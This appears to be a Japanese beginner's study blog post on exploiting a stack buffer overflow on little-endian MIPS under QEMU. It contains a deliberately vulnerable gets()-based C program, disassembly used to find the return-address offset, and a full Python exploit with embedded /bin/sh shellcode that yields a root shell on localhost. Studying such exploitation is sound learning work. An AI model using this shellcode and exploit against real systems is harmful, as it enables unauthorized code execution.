Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみる

はじめに

mipsel(mipsのリトルエンディアン環境)において、簡単なスタックオーバーフローを用いたシェルコード実行を試してみたからメモしておく。

環境

Qemuでmipselのシステムエミュレーションで以下の環境を用意した。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。
今回は攻撃を簡単にするためにbuf変数のアドレスを表示する仕様にしている。後にsocatで動かすのでsetbufもしている。

// bof.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n",buf);
  gets(buf);

  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。本環境だと-z execstackを付けない場合でもスタック上が実行可能になってしまっていたので付けていない。これはQemuの設定の方が足りていないってことなんだろうか?

root@debian-mipsel:~/study# gcc -fno-stack-protector -no-pie bof.c -o bof

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study# ./bof
0x7fe57dd0
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study# socat tcp-l:8888,reuseaddr,fork exec:./bof&

バイナリを読んでみる

とりあえずobjdumpでmain関数を見てみる。

004007c0 <main>:
  4007c0:   3c1c0002    lui gp,0x2
  4007c4:   279c8240    addiu   gp,gp,-32192
  4007c8:   0399e021    addu    gp,gp,t9
  4007cc:   27bdff78    addiu   sp,sp,-136
  4007d0:   afbf0084    sw  ra,132(sp)
  4007d4:   afbe0080    sw  s8,128(sp)
  4007d8:   03a0f025    move    s8,sp
  4007dc:   afbc0010    sw  gp,16(sp)
  4007e0:   afc40088    sw  a0,136(s8)
  4007e4:   afc5008c    sw  a1,140(s8)
  4007e8:   8f828040    lw  v0,-32704(gp)
  4007ec:   8c420000    lw  v0,0(v0)
  4007f0:   00002825    move    a1,zero
  4007f4:   00402025    move    a0,v0
  4007f8:   8f828058    lw  v0,-32680(gp)
  4007fc:   0040c825    move    t9,v0
  400800:   0320f809    jalr    t9
  400804:   00000000    nop
  400808:   8fdc0010    lw  gp,16(s8)
  40080c:   8f82803c    lw  v0,-32708(gp)
  400810:   8c420000    lw  v0,0(v0)
  400814:   00002825    move    a1,zero
  400818:   00402025    move    a0,v0
  40081c:   8f828058    lw  v0,-32680(gp)
  400820:   0040c825    move    t9,v0
  400824:   0320f809    jalr    t9
  400828:   00000000    nop
  40082c:   8fdc0010    lw  gp,16(s8)
  400830:   27c20018    addiu   v0,s8,24
  400834:   00402825    move    a1,v0
  400838:   8f828024    lw  v0,-32732(gp)
  40083c:   244409d0    addiu   a0,v0,2512
  400840:   8f828050    lw  v0,-32688(gp)
  400844:   0040c825    move    t9,v0
  400848:   0320f809    jalr    t9
  40084c:   00000000    nop
  400850:   8fdc0010    lw  gp,16(s8)
  400854:   27c20018    addiu   v0,s8,24
  400858:   00402025    move    a0,v0
  40085c:   8f82804c    lw  v0,-32692(gp)
  400860:   0040c825    move    t9,v0
  400864:   0320f809    jalr    t9
  400868:   00000000    nop
  40086c:   8fdc0010    lw  gp,16(s8)
  400870:   00001025    move    v0,zero
  400874:   03c0e825    move    sp,s8
  400878:   8fbf0084    lw  ra,132(sp)
  40087c:   8fbe0080    lw  s8,128(sp)
  400880:   27bd0088    addiu   sp,sp,136
  400884:   03e00008    jr  ra
  400888:   00000000    nop
  40088c:   00000000    nop
  • 4007d8: 03a0f025 move s8,spでs8レジスタにスタックポインタ(sp)を代入している
  • jalr t9がところどころにあるが、これがsetbufやprintfなどの関数に飛ぶ処理である
  • raはリターンアドレスを格納するレジスタなので、400878: 8fbf0084 lw ra,132(sp)からスタックの頂上から132byteのところにリターンアドレスが格納されているとわかる
  • 1番最後のjalr t9がgets関数なので第一引数であるa0を探すと、400854でs8(=sp)+24をv0に設定し、次の命令でa0にv0を代入していることがわかる
  • リターンアドレスがsp+132で、getsの入力先がsp+24なので、オフセットは108だとわかる

exploitを書いてみる

まず最初に出力されるアドレスを保存しておき、[シェルコード|パディング|前述したアドレス]という形のペイロードを流し込むスクリプトを作成する。なおシェルコードは、shell stormにあるのを利用した。

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)

s, f = sock("localhost", 8888)

stack_addr = int(read_until(f),16)

# shellcode
payload = "\xff\xff\x10\x04\xab\x0f\x02\x24\x55\xf0\x46\x20\x66\x06\xff\x23\xc2\xf9\xec\x23\x66\x06\xbd\x23\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf\x9a\xf9\xbd\x23\x21\x20\x80\x01\x21\x28\xa0\x03\xcc\xcd\x44\x03/bin/sh"

# padding
payload += '\x00' * (108 - len(payload))

# return addr
payload += p(stack_addr)
payload += '\n'

f.write(payload)

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study# python x.py
id
uid=0(root) gid=0(root) groups=0(root)

シェルコードが実行されて、シェルの起動を確認した。